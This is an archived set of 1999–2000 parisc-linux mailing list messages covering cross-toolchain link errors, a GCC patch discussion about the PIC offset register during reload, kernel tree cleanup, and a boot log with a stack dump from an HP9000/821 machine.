References: <Pine.LNX.3.96.990505012802.22012I-100000@devserv.devel.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619379 7768 80.91.229.3 (22 Nov 2014 01:22:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:59 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alex deVries <adevries@redhat.com>
Original-X-From: kumar@ix.netcom.com  Wed Apr 28 23:46:41 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id XAA15674
	for <parisc-linux@puffin.external.hp.com>; Wed, 28 Apr 1999 23:46:40 -0600
Original-Received: (qmail 10922 invoked by uid 15267); 5 May 1999 07:28:15 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10909 invoked from network); 5 May 1999 07:28:14 -0000
Original-Received: from dfw-ix5.ix.netcom.com (206.214.98.5)
  by mailserv2.iuinc.com with SMTP; 5 May 1999 07:28:14 -0000
Original-Received: (from smap@localhost)
          by dfw-ix5.ix.netcom.com (8.8.4/8.8.4)
	  id CAA22040; Wed, 5 May 1999 02:29:42 -0500 (CDT)
Original-Received: from sji-ca41-223.ix.netcom.com(209.111.208.223) by dfw-ix5.ix.netcom.com via smap (V1.3)
	id rma022033; Wed May  5 02:29:19 1999
In-Reply-To: <Pine.LNX.3.96.990505012802.22012I-100000@devserv.devel.redhat.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8727



Yes, I am using prebuilt binaries downloaded from puffin.external.hp.com.


-pkd

-rw-r--r--   1 500      233       1923587 May  1  1999
binutils-x-parisc-linux-2.9.1-11.tar.gz
-rw-r--r--   1 500      233       1706806 May  1  1999
egcs-x-parisc-linux-1.1.1-9.tar.gz
ftp> pwd
257 "/pub/parisc/binaries/tgz" is current directory.



On Wed, 5 May 1999, Alex deVries wrote:

> 
> On Tue, 4 May 1999, Kumar wrote:
> > I am getting following errors even from the latest binutils and
> > parisc-linux-gcc. Are there any special LDFLAGS that one needs to use ?
> > 						-pkd
> > 
> > parisc-linux-ld -L. -R 0x100000 -N -S rom_interface.o setup.o utils.o
> > strutils.o bcopy.o main.o io.o -l milli -o vmlinux
> > parisc-linux-ld: can not size stub section: Bad value
> > rom_interface.o: In function `cout_putc':
> > rom_interface.o($CODE$+0xe4): undefined reference to `$$dyncall'
> > rom_interface.o: In function `bootdev_sread':
> > rom_interface.o($CODE$+0xe0): undefined reference to `$$dyncall'
> > rom_interface.o: In function `pdc_call':
> > rom_interface.o($CODE$+0x118): undefined reference to `$$dyncall'
> > main.o: In function `parisc_init':
> > main.o($CODE$+0x208): undefined reference to `$$divU'
> > make: *** [vmlinux] Error 1
> > 
> 
> Hm.  I don't get this at all... it certainly links for me.  I do get a lot
> of errors with the linker itself, but nothing fatal.
> 
> Are you using the pre-built cross compilers? If so, which ones?
> 
> - Alex
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 
> 
> 


From - Thu Nov 08 21:14:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: pa reload problem
Date: Sat, 2 Dec 2000 23:35:19 +1100 (EST)
Lines: 58
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0012021932030.21742-100000@front.linuxcare.com.au>
References: <200012020733.CAA24227@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619379 7776 80.91.229.3 (22 Nov 2014 01:22:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:59 +0000 (UTC)
Cc: Richard Hirst <rhirst@linuxcare.com>, parisc-linux@thepuffingroup.com,
        gcc-patches@gcc.gnu.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: alan@linuxcare.com.au  Sat Dec  2 05:33:30 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id FAA01523
	for <parisc-linux@puffin.external.hp.com>; Sat, 2 Dec 2000 05:33:29 -0700
Original-Received: (qmail 18987 invoked by uid 15267); 2 Dec 2000 12:35:53 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18958 invoked from network); 2 Dec 2000 12:35:52 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 2 Dec 2000 12:35:52 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id XAA29889;
	Sat, 2 Dec 2000 23:35:19 +1100
In-Reply-To: <200012020733.CAA24227@hiauly1.hia.nrc.ca>
Xref: news.gmane.org gmane.linux.ports.parisc:8728

For those reading this in gcc-patches, this thread starts with a testcase
distilled from the linux kernel at
http://puffin.external.hp.com/mailing-lists/parisc-linux/2000/11-Nov/0388.html
with Dave's analysis at
http://puffin.external.hp.com/mailing-lists/parisc-linux/2000/11-Nov/0391.html

On Sat, 2 Dec 2000, John David Anglin wrote:

> > Or is a better solution to simply ensure that r27 never dies?  I'm
> > thinking of ABI and (non-gnu) linker considerations.  eg. DLTIND21L relocs
> > not involving r27 may cause something to barf.
> 
> Here is a patch that I think resolves the problem.  The principal fix is
> not to define PIC_OFFSET_TABLE_REG_CALL_CLOBBERED.  The reason for not
> defining this is the call expander explicitly restores the pic offset register
> after each call.  Thus, I think we can lie about the register being
> clobbered.

Telling lies generally leads to being caught out. ;-)

I prefer this patch, which strikes at the heart of the problem, and
doesn't seem to cause any new problems.  (apart from an unnecessary
register transfer at the end of some functions)

	* flow.c (mark_regs_live_at_end): Set PIC_OFFSET_TABLE_REGNUM even
	when PIC_OFFSET_TABLE_REG_CALL_CLOBBERED.

Alan
-- 
Linuxcare.  Support for the Revolution.

--- gcc/flow.c~	Fri Dec  1 15:56:03 2000
+++ gcc/flow.c	Sat Dec  2 20:50:51 2000
@@ -3249,13 +3249,17 @@ mark_regs_live_at_end (set)
     }
 
 #ifdef PIC_OFFSET_TABLE_REGNUM
-#ifndef PIC_OFFSET_TABLE_REG_CALL_CLOBBERED
   /* Many architectures have a GP register even without flag_pic.
      Assume the pic register is not in use, or will be handled by
-     other means, if it is not fixed.  */
+     other means, if it is not fixed.
+     We need to mark PIC_OFFSET_TABLE_REGNUM live at the end of a
+     function even when PIC_OFFSET_TABLE_REG_CALL_CLOBBERED because
+     reload may require it be valid.
+     ie. PIC_OFFSET_TABLE_REG_CALL_CLOBBERED should be viewed as
+     indicating what may happen during a call, not viewed as a
+     license allowing a register to die.  */
   if (fixed_regs[PIC_OFFSET_TABLE_REGNUM])
     SET_REGNO_REG_SET (set, PIC_OFFSET_TABLE_REGNUM);
-#endif
 #endif
 
   /* Mark all global registers, and all registers used by the epilogue





From - Thu Nov 08 21:14:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Henderson <rth@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: pa reload problem
Date: Sat, 2 Dec 2000 11:43:27 -0800
Lines: 22
Approved: news@gmane.org
Message-ID: <20001202114327.C27671@redhat.com>
References: <200012020733.CAA24227@hiauly1.hia.nrc.ca> <Pine.LNX.4.21.0012021932030.21742-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619380 7784 80.91.229.3 (22 Nov 2014 01:23:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:00 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
        Richard Hirst <rhirst@linuxcare.com>, parisc-linux@thepuffingroup.com,
        gcc-patches@gcc.gnu.org
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: rth@cygnus.com  Sat Dec  2 12:40:58 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA06529
	for <parisc-linux@puffin.external.hp.com>; Sat, 2 Dec 2000 12:40:57 -0700
Original-Received: (qmail 5542 invoked by uid 15267); 2 Dec 2000 19:43:29 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5524 invoked from network); 2 Dec 2000 19:43:28 -0000
Original-Received: from runyon.cygnus.com (HELO cygnus.com) (205.180.230.5)
  by mailserv2.iuinc.com with SMTP; 2 Dec 2000 19:43:28 -0000
Original-Received: from dot.cygnus.com (dot.cygnus.com [205.180.230.224])
	by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id LAA27491;
	Sat, 2 Dec 2000 11:43:27 -0800 (PST)
Original-Received: (rth@localhost) by dot.cygnus.com (8.9.3/8.6.4) id LAA27732; Sat, 2 Dec 2000 11:43:27 -0800
X-Mailer: Mutt 0.95.5i
In-Reply-To: <Pine.LNX.4.21.0012021932030.21742-100000@front.linuxcare.com.au>; from Alan Modra on Sat, Dec 02, 2000 at 11:35:19PM +1100
Xref: news.gmane.org gmane.linux.ports.parisc:8729

On Sat, Dec 02, 2000 at 11:35:19PM +1100, Alan Modra wrote:
> 	* flow.c (mark_regs_live_at_end): Set PIC_OFFSET_TABLE_REGNUM even
> 	when PIC_OFFSET_TABLE_REG_CALL_CLOBBERED.

I can't believe this makes a difference.  We already have

#ifdef PIC_OFFSET_TABLE_REGNUM
              /* Before reload, do not allow sets of the pic register
                 to be deleted.  Reload can insert references to
                 constant pool memory anywhere in the function, making
                 the PIC register live where it wasn't before.  */
              if (regno == PIC_OFFSET_TABLE_REGNUM && fixed_regs[regno]
                  && ! reload_completed)
                return 0;
#endif

in insn_dead_p.  Although one could argue keeping the register
live rather than avoiding deaths is a cleaner solution.


r~


From - Thu Nov 08 21:14:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] merge activity
Date: Sat, 2 Dec 2000 21:08:03 +0000
Lines: 15
Approved: news@gmane.org
Message-ID: <20001202210803.D8288@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619380 7792 80.91.229.3 (22 Nov 2014 01:23:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:00 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@www.linux.org.uk  Sat Dec  2 14:05:34 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA07779
	for <parisc-linux@puffin.external.hp.com>; Sat, 2 Dec 2000 14:05:33 -0700
Original-Received: (qmail 5086 invoked by uid 15267); 2 Dec 2000 21:08:05 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5076 invoked from network); 2 Dec 2000 21:08:05 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (root@195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 2 Dec 2000 21:08:05 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 142Jt5-0004lx-00
	for parisc-linux@thepuffingroup.com; Sat, 02 Dec 2000 21:08:03 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:8730


those on the CVS list will have noticed a lot of activity just recently.
Alan Cox & myself are geting the tree into a state where it can be dropped
on Linus.  A number of changes have been made:

s/STATIC/static/
removal of asmlinkage -- it's a hangover from i386 that no-one else needs
Makefile conversion to new-style
u_long becomes unsigned long
old code has mostly been cleaned out
a lot of #ifdefs have been removed.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:14:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] iodccon
Date: Sat, 2 Dec 2000 21:09:26 +0000
Lines: 7
Approved: news@gmane.org
Message-ID: <20001202210926.E8288@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619380 7800 80.91.229.3 (22 Nov 2014 01:23:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:00 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@www.linux.org.uk  Sat Dec  2 14:06:56 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA07928
	for <parisc-linux@puffin.external.hp.com>; Sat, 2 Dec 2000 14:06:56 -0700
Original-Received: (qmail 6156 invoked by uid 15267); 2 Dec 2000 21:09:27 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6148 invoked from network); 2 Dec 2000 21:09:27 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (root@195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 2 Dec 2000 21:09:27 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 142JuQ-0004nG-00
	for parisc-linux@thepuffingroup.com; Sat, 02 Dec 2000 21:09:26 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:8731


can we kill off iodccon now?  i seem to remember being told we could, but
i can't find confirmation of that in my inbox.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:14:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: pa reload problem
Date: Sat, 2 Dec 2000 18:01:27 -0500 (EST)
Lines: 25
Approved: news@gmane.org
Message-ID: <200012022301.SAA04377@hiauly1.hia.nrc.ca>
References: <20001202114327.C27671@redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619381 7810 80.91.229.3 (22 Nov 2014 01:23:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:01 +0000 (UTC)
Cc: alan@linuxcare.com.au, rhirst@linuxcare.com,
        parisc-linux@thepuffingroup.com, gcc-patches@gcc.gnu.org
To: rth@redhat.com (Richard Henderson)
Original-X-From: dave@hiauly1.hia.nrc.ca  Sat Dec  2 15:59:39 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA09359
	for <parisc-linux@puffin.external.hp.com>; Sat, 2 Dec 2000 15:59:38 -0700
Original-Received: (qmail 27029 invoked by uid 15267); 2 Dec 2000 23:02:08 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27019 invoked from network); 2 Dec 2000 23:02:08 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.100.193)
  by mailserv2.iuinc.com with SMTP; 2 Dec 2000 23:02:08 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id SAA04377;
	Sat, 2 Dec 2000 18:01:27 -0500 (EST)
In-Reply-To: <20001202114327.C27671@redhat.com> from "Richard Henderson" at Dec 2, 2000 11:43:27 am
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:8732

> On Sat, Dec 02, 2000 at 11:35:19PM +1100, Alan Modra wrote:
> > 	* flow.c (mark_regs_live_at_end): Set PIC_OFFSET_TABLE_REGNUM even
> > 	when PIC_OFFSET_TABLE_REG_CALL_CLOBBERED.
> 
> I can't believe this makes a difference.  We already have
> 
> #ifdef PIC_OFFSET_TABLE_REGNUM
>               /* Before reload, do not allow sets of the pic register
>                  to be deleted.  Reload can insert references to
>                  constant pool memory anywhere in the function, making
>                  the PIC register live where it wasn't before.  */
>               if (regno == PIC_OFFSET_TABLE_REGNUM && fixed_regs[regno]
>                   && ! reload_completed)
>                 return 0;
> #endif

I saw this but for some reason it didn't stop the set after the call from being
deleted in the combine pass.  Maybe this needs to be looked at in more detail
to determine why it doesn't work in this circumstance.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:14:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andreas Thienemann <andreas@bawue.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Again trouble with HP9000/821/D250
Date: Sun, 03 Dec 2000 00:05:22 +0100
Organization: IXS
Lines: 293
Approved: news@gmane.org
Message-ID: <3A298032.7CBAEB95@bawue.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------22544189CD8A530A463B2CD4"
X-Trace: ger.gmane.org 1416619381 7829 80.91.229.3 (22 Nov 2014 01:23:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:01 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: andreas@bawue.de  Sat Dec  2 16:03:09 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA09548
	for <parisc-linux@puffin.external.hp.com>; Sat, 2 Dec 2000 16:03:09 -0700
Original-Received: (qmail 29548 invoked by uid 15267); 2 Dec 2000 23:05:40 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29537 invoked from network); 2 Dec 2000 23:05:40 -0000
Original-Received: from bender.bawue.de (193.197.13.1)
  by mailserv2.iuinc.com with SMTP; 2 Dec 2000 23:05:40 -0000
Original-Received: from gate.ixs.bb.bawue.de (pC19F81C8.dip.t-dialin.net [193.159.129.200])
	by bender.bawue.de (Postfix) with ESMTP id 7595C869
	for <parisc-linux@thepuffingroup.com>; Sun,  3 Dec 2000 00:05:36 +0100 (CET)
Original-Received: from bawue.de (ixs.ixs.com [192.168.1.2])
	by gate.ixs.bb.bawue.de (8.9.3/8.9.3) with ESMTP id AAA18566
	for <parisc-linux@thepuffingroup.com>; Sun, 3 Dec 2000 00:04:08 +0100
X-Mailer: Mozilla 4.76 [en] (Win98; U)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:8733

This is a multi-part message in MIME format.
--------------22544189CD8A530A463B2CD4
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi,

I tried to get parisc booting on a second box after the first box couldn't
finish loading the kernel.

The whole toolchain and the kernel is a recent cvs checkout from today.

Boot log looks great until the ramdisk is initialized and the kernel dumps
stack.
This kernel is already stripped down, no lp0 no nothing. Basically just
ethernet and scsi support plus PCI, without the kernel does not compile at
all.

Any ideas? The bootlog is attached. To me it looks as if the i82596_probe
might be repsonsible. At least that's what a quick check of the IAOQ-address
suggested.

thanks a lot, 
 andreas

-- 
Andreas Thienemann				e-mail:	andreas@bawue.de
System administration
Bawue Net, Germany
--------------22544189CD8A530A463B2CD4
Content-Type: text/plain; charset=us-ascii;
 name="hp9k"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="hp9k"




Firmware Version  36.34

Duplex Console IO Dependent Code (IODC) revision 0

------------------------------------------------------------------------------
   (c) Copyright 1995-1998, Hewlett-Packard Company, All rights reserved
------------------------------------------------------------------------------

  Processor   Speed            State           Coprocessor State  Cache Size
  ---------  --------   ---------------------  -----------------  ----------
      0       101 MHz   Active                 Functional          256 KB

  Central Bus Speed (in MHz)  :        101 

  Available memory (bytes)    :  134217728 
  Good memory required (bytes):   15245312 

  Primary boot path:    8/16/5.5   (dec)   
  Alternate boot path:  8/16/5.2   (dec)   
  Console path:         8/16/4.0   (dec)   
  Keyboard path:        8/16/7.0   (dec)   

Processor is booting from first available device.

To discontinue, press any key within 10 seconds.

Boot terminated.


------- Main Menu -------------------------------------------------------------

        Command                         Description
        -------                         -----------
        BOot [PRI|ALT|<path>]           Boot from specified path
        PAth [PRI|ALT|CON|KEY] [<path>] Display or modify a path
        SEArch [DIsplay|IPL] [<path>]   Search for boot devices

        COnfiguration [<command>]       Access Configuration menu/commands
        INformation [<command>]         Access Information menu/commands
        SERvice [<command>]             Access Service menu/commands

        DIsplay                         Redisplay the current menu
        HElp [<menu>|<command>]         Display help for menu or command
        RESET                           Restart the system
-------
Main Menu: Enter command > pa p3

ERROR:  Unknown path type

Main Menu: Enter command > pa 8saea

Searching for potential boot device(s)...
This may take several minutes.

To discontinue search, press any key (termination may not be immediate).


   Path Number        Device Path (dec)        Device Type
   -----------        -----------------        -----------
   P0                 8/16/5.6                 Random access media       
   P1                 8/16/5.5                 Random access media       
   P2                 8/16/5.2                 Random access media       
   P3                 8/16/6.0                 LAN Module


Main Menu: Enter command > bo 8/16/6.0
Interact with IPL (Y or N)?> n

Booting... 
Network Station Address 0060b0-3c08d4

Boot IO Dependent Code (IODC) revision 2


HARD Booted.
palo ipl root@gate.ixs.com Sat Dec  2 21:08:27 CET 2000
0/vmlinux 1954061 bytes @ 0x6800
0/palo-cmdline '0/vmlinux HOME=/ TERM=LINUX root=/dev/nfs nfsroot=192.168.1.1 '
Kernel: partition 0 file /vmlinux
ELF32 executable

Entry 001000b8 first 00100000 n 3
Segment 0 load 00100000 size 1279328 mediaptr 0x1000
Segment 1 load 0023a000 size 174384 mediaptr 0x13a000
Segment 2 load 00268000 size 73728 mediaptr 0x165000
branching to kernel entry point 0x001000b8
Set default PSW W bit to 0
PDC Console Initialized
The 32-bit Kernel has started...
Enabled FP coprocessor
Free memory starts at: 0xc02a3000
start_parisc(0x504d6c,0x504d6c,0x0,0x0)
PALO command line: 'HOME=/ TERM=LINUX root=/dev/nfs nfsroot=192.168.1.1 '
PALO initrd 0-0
model   00005890 00000481 00000000 00000002 778314c3 100000f0 00000004 0000008a 0000008a
vers    0000000d
cpuid   0000016d
CPUID   vers 11 rev 13
model   9000/821/D250
led_init: CPU_HVERSION 589
Searching for devices in PDC firmware... processor hpa 0xfffa0000
a newer box...
Found devices:
1. UL 350 Lasi Core BA (11) at 0xffd00000, versions 0x2e, 0x0, 0x81, 0x0, 0x0
2. UL 350 Lasi Core RS-232 (10) at 0xffd05000, versions 0x2e, 0x0, 0x8c, 0x0, 0x0
3. UL 350 Core SCSI (10) at 0xffd06000, versions 0x2e, 0x0, 0x82, 0x0, 0x80
4. UL 350 Core LAN (802.3) (10) at 0xffd07000, versions 0x2e, 0x0, 0x8a, 0x0, 0x0
5. UL 350 Core Centronics (10) at 0xffd02000, versions 0x2e, 0x0, 0x74, 0x0, 0x0
6. UL 350 Core PC Keyboard (10) at 0xffd08000, versions 0x2e, 0x0, 0x84, 0x0, 0x0
7. UL 350 Core PC Keyboard (10) at 0xffd08100, versions 0x2e, 0x0, 0x84, 0x0, 0x0
8. UL 350 Core PC Floppy (10) at 0xffd0a000, versions 0x2e, 0x0, 0x83, 0x0, 0x0
9. UL 350 Core Wax BA (11) at 0xffe00000, versions 0x30, 0x0, 0x8e, 0x0, 0x0
10. UL 350 Wax EISA BA (11) at 0xfc000000, versions 0x30, 0x0, 0x90, 0x0, 0x0
11. UL 350 Wax Core RS-232 (10) at 0xffe02000, versions 0x30, 0x0, 0x8c, 0x0, 0x0
That's a total of 11 devices.
No CPUs reported by firmware - probing...
Found CPU at fffa0000
CPU(s): 1 x PA7200 (PCX-T') at 101.000000 MHz
Linux version 2.4.0-test10 (root@gate.ixs.com) (gcc version 2.96 20000925 (experimental)) #4 Sat Dec 2 23:03:22 CET 2000
free_bootmem(0x2a4000, 0x7d5c000)
initrd: 00000000-00000000
pagetable_init
On node 0 totalpages: 32768
zone(0): 16384 pages.
zone(1): 16384 pages.
zone(2): 0 pages.
Kernel command line: HOME=/ TERM=LINUX root=/dev/nfs nfsroot=192.168.1.1 
trap_init
Calibrating delay loop... 100.76 BogoMIPS
Memory: 126052k available
Dentry-cache hash table entries: 16384 (order: 5, 131072 bytes)
Buffer-cache hash table entries: 8192 (order: 3, 32768 bytes)
Page-cache hash table entries: 32768 (order: 5, 131072 bytes)
Inode-cache hash table entries: 8192 (order: 4, 65536 bytes)
POSIX conformance testing by UNIFIX
Lasi version 0 at 0xffd00000 found.
lasi_led_init: CPU_HVERSION 589
LED display at ffd0c000
Wax at 0xffe00000 found.
Wax: HIL Keyboard-NMI registered.
Found i82596 at 0xffd07000, IRQ 87
early initialization of device eth0 is deferred
Initializing Lasi PS/2-keyboard port at 0xffd08000...
Support for Lasi PS/2-psaux not yet available !
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Starting kswapd v1.8
pty: 256 Unix98 ptys configured
Lasi PS/2 transmit buffer timeout
Lasi PS/2 transmit buffer timeout
RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize

Dumping Stack from c7f9c000 to c7f9ca00:
c000 00000000 00000040 00000000 00000000 c024e1ec 00000001 00000000 ffffffff
c020 00000000 00000000 00000000 00000000 00000000 00000000 ffffffff c024e104
c040 c024e104 00000030 c7f90000 c0278000 c025360c 00000000 00000000 00000000
c060 00000000 00000000 00000000 00000001 00000000 00000000 00000000 00000000
c080 00000000 c0278000 c0278000 c7f84000 00000000 00000000 c7f84098 c0278098
c0a0 00000000 c0292b38 00000000 c7f9c0ac c7f9c0ac c7f9c908 00000000 00000000
c0c0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c0e0 c7f9c000 c011ae08 00000000 0000000f 00000000 00000000 00000024 00000000
c100 00000033 00000000 00000000 00000000 00000000 00000000 00000000 80000000
c120 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c140 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c160 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c180 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c1a0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c1c0 00000000 fffffeff 00000000 ffffffff 00000000 c024edec ffffffff ffffffff
c1e0 ffffffff ffffffff ffffffff ffffffff 00800000 05000000 00000000 ffffffff
c200 ffffffff ffffffff 00000800 00000800 00000400 00000400 ffffffff ffffffff
c220 ffffffff ffffffff ffffffff ffffffff 00007377 61707065 72000000 00000000
c240 000000000 00000000 00010000 c7ffeca0 c0204a98 c02143b4 000000f0 00504d6c
c280 00000000 c0117a24 c0291800 00008000 c0292510 c0291800 0000000b 00000024
c2a0 0000003c 0000003e c024e000 00000001 c027de4f 00000004 c027de2b 00000000
c2c0 c01001f8 00000000 00000000 00000024 0000000b c024e220 c024e000 f0000070
c2e0 f0000068 000000ff ffd05800 ffd05800 ffd05800 00000060 ffffffff ffd05800
c300 0027d8c0 c023a000 00000000 00000000 c02788c0 00000000 000b0800 00000000
c320 0000001f 00000000 0000001f 00000000 0000001f 00000000 00000000 00000000
c340 00000000 00000000 00000000 00000000 00000000 00000000 00000010 00000020
c360 7f7fffff ffffffff 43ebebeb e0000000 00000000 00000000 45e69c6a 25b7ea20
c380 41800000 00000000 00000010 00000010 00000000 00000000 00000040 00000080
c3a0 00000100 00000200 00000400 00000800 7fffffff 7fffffff 41000000 00000000
c3c0 7fffffff 7fffffff 40800000 00000000 41000000 00000000 40300000 00000000
c3e0 40200000 00000000 40200000 00000000 41800000 7fffffff 40000000 00000000
c400 40000000 00000000 40800000 00000000 41000000 00000000 00000000 00000000
c420 c7f9c800 c0103cf4 00000000 00000000 00000000 00000000 00000000 00000000
c440 c0117a14 c0117a18 40800000 00000000 00254000 00000000 c0253040 c0253064
c460 00000000 c0253204 00000000 00000000 00000000 c7f9c470 00000000 00000000
c480 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c4a0 ff568802 fead1005 fd5a200b fab44017 f568802f ead1005f d5a200bf ab44017f
c4c0 568802ff ad66b0ac 5acd6159 b5ec77e0 6bd8efc1 d7c76ad0 af8ed5a1 5f1dab43
